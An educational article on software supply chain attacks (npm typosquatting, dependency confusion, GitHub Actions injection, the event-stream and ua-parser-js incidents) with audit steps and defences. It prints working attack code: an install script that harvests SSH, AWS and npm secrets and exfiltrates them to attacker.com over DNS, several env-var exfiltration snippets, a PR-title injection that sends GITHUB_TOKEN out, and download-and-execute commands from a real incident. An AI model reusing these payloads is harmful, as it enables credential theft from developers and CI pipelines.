The Modern Supply Chain Attack Surface
Software supply chain attacks target the build and distribution infrastructure of software rather than the end-user application directly. The attack surface has expanded dramatically with the rise of open-source ecosystems: an average Node.js application has 1,800+ unique packages in its dependency tree. Each package is a potential attack vector — compromise any one of them and every downstream consumer is affected.
Supply chain attacks are uniquely dangerous because they can bypass all application-level security controls. A malicious package runs with the same permissions as the legitimate build process, has access to all environment variables (including secrets), can read source code, and can exfiltrate data from developer machines or CI/CD environments. The SolarWinds attack demonstrated that supply chain compromises can affect thousands of organizations simultaneously through a single insertion point.
Typosquatting on npm and PyPI
Attackers register package names that are visually similar to popular packages, betting that developers will typo the package name during installation. Even a single npm install typosquatted-package by one developer during CI setup can compromise an entire organization.
# Common typosquatting patterns:
# Target package → Malicious package
express → expres, expresss, express-js
lodash → lodahs, load-sh, lodash-utils
react → reacts, reactt, react-utils
axios → axois, axio, axios-http
left-pad → leftpad (this was legitimate, different issue)
# Historical real examples:
# crossenv (vs cross-env) — had postinstall that sent env vars to attacker
# electorn (vs electron) — cryptocurrency miner
# babelcli (vs babel-cli) — data exfiltration
# node-openssl (vs openssl) — mining malware
# How attackers find profitable targets:
# 1. Look at npm download statistics for high-volume packages
# 2. Find packages with simple/easily misspelled names
# 3. Check if the typo variant is available: npm info typo-package-name
# 4. Register the package and add malicious postinstall
# The lifecycle hook that runs on install:
# package.json:
{
"name": "expres",
"version": "1.0.0",
"description": "Express framework",
"scripts": {
"preinstall": "node -e \"require('child_process').exec('curl http://attacker.com/beacon?h='+require('os').hostname()+'&u='+process.env.USER)\"",
"postinstall": "node ./install.js"
}
}
Anatomy of a Malicious postinstall Script
// Malicious install.js — runs during npm install:
const os = require('os');
const fs = require('fs');
const path = require('path');
const https = require('https');
const cp = require('child_process');
function exfiltrate(data) {
const payload = Buffer.from(JSON.stringify(data)).toString('base64');
// DNS exfiltration (bypasses HTTP egress controls):
const chunks = payload.match(/.{1,60}/g) || [];
chunks.forEach((chunk, i) => {
cp.exec(`nslookup ${i}.${encodeURIComponent(chunk)}.attacker.com`);
});
}
// Collect environment variables (often contain AWS keys, tokens):
const envData = {
hostname: os.hostname(),
username: os.userInfo().username,
platform: os.platform(),
env: process.env, // contains AWS_ACCESS_KEY_ID, NPM_TOKEN, etc.
cwd: process.cwd(),
};
// Try to read common secret files:
const secretFiles = [
path.join(os.homedir(), '.npmrc'), // npm auth tokens
path.join(os.homedir(), '.aws/credentials'), // AWS keys
path.join(os.homedir(), '.ssh/id_rsa'), // SSH private key
path.join(os.homedir(), '.gitconfig'), // git config
'.env', '.env.local', '.env.production', // app secrets
];
secretFiles.forEach(f => {
try {
envData[f] = fs.readFileSync(f, 'utf8');
} catch(e) {}
});
exfiltrate(envData);
npm install without reviewing dependencies, especially in CI/CD environments with access to production secrets.Dependency Confusion Attack
The dependency confusion attack, discovered by researcher Alex Birsan in 2021, exploits how package managers resolve package names when both public and private registries are configured. When a private package name is published to the public registry with a higher version number, many package managers prefer the public (higher-version) package over the private one.
# How dependency confusion works:
# Setup: Company has private npm registry at registry.company.com
# with internal package: @company/internal-api-client (version 1.2.3)
# Their .npmrc:
# @company:registry=https://registry.company.com
# Attack setup:
# Attacker discovers the package name (via package.json in GitHub, error messages, etc.)
# Registers @company/internal-api-client on PUBLIC npm registry
# with a HIGHER version number: 9.9.9 (higher than 1.2.3)
# Includes malicious postinstall script
# Why it works:
# npm version resolution: when both registries have a package,
# npm (in some configs) takes the highest version
# npm prefers the public registry by default for scoped packages
# depending on .npmrc configuration
# Finding internal package names:
# 1. Browse company's GitHub: look for package.json with @company/ scoped packages
# 2. Check public error messages mentioning internal package names
# 3. npm-ls output leaks in error logs
# 4. package-lock.json committed to public repos
# Verification script to test which registry wins:
npm install @company/package-name --dry-run --verbose 2>&1 | grep "resolved"
# Shows which registry npm would use
# Legitimate security research (bug bounty):
# Alex Birsan registered packages with a benign payload:
# postinstall: sends hostname, username, and IP to Burp Collaborator
# No data exfiltration, just proves the concept to claim bounty
# Earned $130,000+ from Microsoft, Apple, PayPal, Tesla, Uber, etc.
# Publishing a confusion package for research:
{
"name": "@target-company/discovered-package",
"version": "9.9.9",
"description": "Dependency confusion PoC",
"scripts": {
"postinstall": "node -e \"require('https').get('https://YOUR_COLLAB.oastify.com/dc?h='+require('os').hostname()+'&v='+process.version)\""
}
}
Dependency Confusion in Different Package Managers
| Package Manager | Vulnerable Config | Trigger Condition | Mitigation |
|---|---|---|---|
| npm | Mixed registry in .npmrc | Public version > private version | Scope-to-registry pinning |
| pip/PyPI | --extra-index-url usage | Highest version wins across all indexes | --index-url only (single source) |
| gem (Ruby) | Multiple sources in Gemfile | First matching source wins | Gemfile.lock + explicit source |
| Maven | Multiple repositories | Repository order determines priority | Block external repositories in settings.xml |
| NuGet | Multiple package sources | Highest version wins | Explicit package source mapping |
Auditing npm Packages
# Step 1: Check for known vulnerabilities:
npm audit
npm audit --json | jq '.vulnerabilities | keys[]'
# Step 2: Check for suspicious install scripts BEFORE installing:
npm pack package-name # downloads without running scripts
tar -xf package-name-*.tgz
cat package/package.json | jq '.scripts'
# Review preinstall, postinstall, install scripts
# Step 3: Use Socket.dev for supply chain analysis:
# Install: npm install -g @socketsecurity/cli
socket scan npm package-name
# Checks for: new maintainers, install scripts, obfuscated code, network access
# Step 4: Snyk for vulnerability scanning:
snyk test
snyk monitor
# Step 5: Manual review of install scripts:
# Find all packages with install scripts:
find node_modules -name "package.json" -exec grep -l '"install"\|"postinstall"\|"preinstall"' {} \;
# Review each one:
cat node_modules/suspicious-package/package.json | jq '.scripts'
cat node_modules/suspicious-package/install.js
# Step 6: Check package maintainer history:
npm info package-name maintainers # current maintainers
# Check npmjs.com for recent ownership changes
# Socket.dev tracks maintainer changes as a risk signal
# Step 7: Detect obfuscated code:
# Signs of malicious packages:
# - eval(Buffer.from('...', 'base64').toString())
# - Minified/obfuscated install scripts
# - Random-looking variable names
# - Network requests in install scripts
# - Base64-encoded command execution
CI/CD Pipeline Injection
GitHub Actions — pull_request_target Vulnerability
The pull_request_target event in GitHub Actions runs in the context of the BASE repository (not the PR fork), giving it access to secrets. If the workflow checks out the PR's code and executes it, an attacker who submits a malicious PR gains access to all repository secrets:
# VULNERABLE GitHub Actions workflow:
# .github/workflows/ci.yml
name: CI
on: pull_request_target # <-- runs with base repo's secrets!
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # <-- checks out PR code!
- run: npm install
- run: npm test # <-- executes attacker's code with access to secrets!
# Why it's dangerous:
# pull_request_target was designed for workflows that ONLY read PR metadata
# (e.g., labeling, commenting) without executing PR code
# Combining "checkout of PR code" + "execution" + "pull_request_target"
# gives the attacker access to:
# - All repository secrets (GITHUB_TOKEN, AWS keys, npm tokens)
# - The ability to push to the repository
# - Access to environment variables
# Attack: submit PR with malicious package.json:
# package.json scripts.postinstall:
node -e "
const https = require('https');
const env = JSON.stringify(process.env);
https.request({hostname:'attacker.com',path:'/secrets?d='+Buffer.from(env).toString('base64')},{});
"
# Or modify a test file to exfiltrate:
# test/evil.test.js:
const https = require('https');
const sec = Buffer.from(JSON.stringify(process.env)).toString('base64');
require('https').get(`https://attacker.com/steal?d=${sec}`);
Workflow Injection via Untrusted Input
# GitHub Actions expression injection:
# Workflows that use ${{ github.event.pull_request.title }} in run: steps
# are vulnerable if an attacker controls that value
# VULNERABLE workflow:
name: Lint PR title
on: pull_request_target
jobs:
check:
runs-on: ubuntu-latest
steps:
- name: Check PR title
run: |
echo "Checking PR: ${{ github.event.pull_request.title }}"
# ^^^ This is template injection!
# Attack: Create PR with title:
# "; curl https://attacker.com/steal?token=$GITHUB_TOKEN #
# The shell command becomes:
# echo "Checking PR: "; curl https://attacker.com/steal?token=$GITHUB_TOKEN #"
# Safe pattern — use environment variable:
- name: Check PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }} # safely passed as env var
run: echo "Checking PR: $PR_TITLE" # $PR_TITLE is not template-expanded in shell
Malicious Third-Party GitHub Actions
# GitHub Actions supports using community actions:
# - uses: some-org/some-action@v1
# Risk: the action runs arbitrary code with full access to:
# - All secrets
# - The workspace (source code)
# - GitHub token
# - Network access
# Attack vectors:
# 1. Compromise a popular action's GitHub account
# 2. Publish malicious update to the action
# 3. All repos using @v1 (unpinned) get the malicious version
# Real example: actions/setup-node supply chain risk
# If maintainer account is compromised and pushes:
# index.js modification to exfiltrate all env variables
# Defense — pin to commit SHA, not tag:
# VULNERABLE: uses: actions/checkout@v3 (can change)
# SAFE: uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v3.5.3
# Auditing third-party actions:
# 1. Review action source code before using
# 2. Pin to commit SHA
# 3. Use: StepSecurity Action Advisor (Harden-Runner)
# 4. Monitor for action updates with Dependabot
# Harden-Runner — monitors action behavior at runtime:
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@v2
with:
egress-policy: audit # or 'block' to prevent unauthorized network calls
Real-World Supply Chain Incidents
event-stream (2018)
# One of the most sophisticated npm supply chain attacks:
# - event-stream had ~2M weekly downloads
# - Original maintainer transferred ownership to unknown developer
# - New maintainer added flatmap-stream as a dependency
# - flatmap-stream contained obfuscated malicious code in a test file
# - Target: steal funds from Bitcoin Copay wallets on developer machines
# The obfuscated payload (simplified):
// In test/data.js — encrypted payload:
var r = eval(require("crypto").createDecipher("aes256","...key...").update(Buffer.from("...encrypted...", "hex")).toString());
// Decrypted: code that modified bitcoinjs module to steal private keys
# Lessons:
# - Never transfer package ownership to unknown parties
# - Review dependency additions even in trusted packages
# - Monitor npm packages for new dependencies being added
# - Hash-lock all dependencies (package-lock.json is critical)
ua-parser-js (2021)
# ua-parser-js — 8M weekly downloads, used in Facebook products, many enterprises
# Attack: maintainer's npm account compromised
# Malicious versions 0.7.29, 0.8.0, 1.0.0 published
# Contained crypto miner (Linux: jsextension, Windows: jsextension.exe)
# AND password/credential stealer for Linux systems
# The malicious postinstall script:
# Linux:
#!/bin/sh
curl http://159.148.186.228/download/jsextension -o /tmp/jsextension
chmod +x /tmp/jsextension && /tmp/jsextension &
# Windows:
powershell -Command "Invoke-WebRequest -Uri 'http://159.148.186.228/download/jsextension.exe' -OutFile '%TEMP%\jsextension.exe'; Start-Process '%TEMP%\jsextension.exe'"
# Response: npm immediately yanked the packages
# But: npm install with package-lock.json already committed to cache = automatic execution
# Impact: any CI/CD that ran npm install in the 4-hour window was compromised
# Detection:
# npm audit detected it within hours of reports
# Socket.dev's pre-install scan would have flagged the new install script
Package Signing and Provenance
# npm package provenance (npm 9.5.0+):
# Cryptographically links published packages to the CI/CD run that built them
# Signed attestation: "this package was built from commit SHA X of repo Y"
# Verifying provenance:
npm audit signatures package-name
npm info package-name dist.attestations
# Checks: is the package signed? Does the key match npm's sigstore?
# Sigstore/cosign for container images and packages:
# Sign during CI build:
cosign sign --key env://COSIGN_KEY ghcr.io/org/app:latest
# Verify before deployment:
cosign verify --key cosign.pub ghcr.io/org/app:latest
# npm package signature verification:
npm install --prefer-offline # uses lockfile, won't fetch new potentially malicious versions
npm ci # strict mode: uses package-lock.json, fails on mismatches
# SBOM (Software Bill of Materials) generation:
# CycloneDX format:
npm install -g @cyclonedx/cyclonedx-npm
cyclonedx-npm --output-file sbom.json
# SPDX format:
npx sbom-gen --format spdx > sbom.spdx.json
# SBOM enables: knowing exactly what's in your dependency tree
# monitoring for CVEs against your exact versions
# compliance with Executive Order 14028 (US federal software requirements)
Comprehensive Defense Strategy
# 1. Lockfiles — commit and enforce:
npm ci # respects package-lock.json exactly, fails on any deviation
# NEVER: npm install in production (may resolve to different versions)
# 2. Private registry with proxying:
# Nexus Repository / Artifactory / Verdaccio as proxy:
# All packages pulled through internal registry
# Security team can inspect/block packages before they reach developers
# 3. Scope all internal packages to prevent confusion:
# .npmrc:
@mycompany:registry=https://registry.mycompany.com
# This pins @mycompany/* packages to internal registry only
# 4. Deny list for package lifecycle scripts in CI:
# npm/pnpm: --ignore-scripts flag
npm ci --ignore-scripts
# Note: some packages require install scripts (node-gyp, etc.) — whitelist those
# 5. Network egress controls in CI:
# Containers with no internet access during build
# Only allow outbound to specific registries
# Use GitHub Actions StepSecurity harden-runner to audit/block egress
# 6. Dependabot or Renovate for automated dependency updates:
# Keeps you on latest patched versions
# Creates PRs for review before merging
# 7. GitHub branch protection + CODEOWNERS:
# Require review of changes to package.json, package-lock.json
# Require CI to pass before merge
# Require signed commits
# 8. Runtime protection:
# npm-enforce-scope: ensure no unexpected packages load
# Node.js --policy flag: whitelist which modules can be required
npm ci --ignore-scripts combined with a locked package-lock.json committed to the repository. This ensures no new packages are installed and no install scripts run. The second most effective is routing all package downloads through a private registry with security scanning.Software supply chain attacks have become the most scalable attack vector in modern security — compromising one popular package immediately affects millions of projects. The combination of typosquatting, dependency confusion, account takeover, and CI/CD injection means that every layer of the software delivery pipeline must be treated as a potential attack surface. Security teams must implement both preventive controls (package signing, private registries, lockfiles) and detective controls (SBOM tracking, behavioral monitoring, audit logs) to maintain supply chain integrity.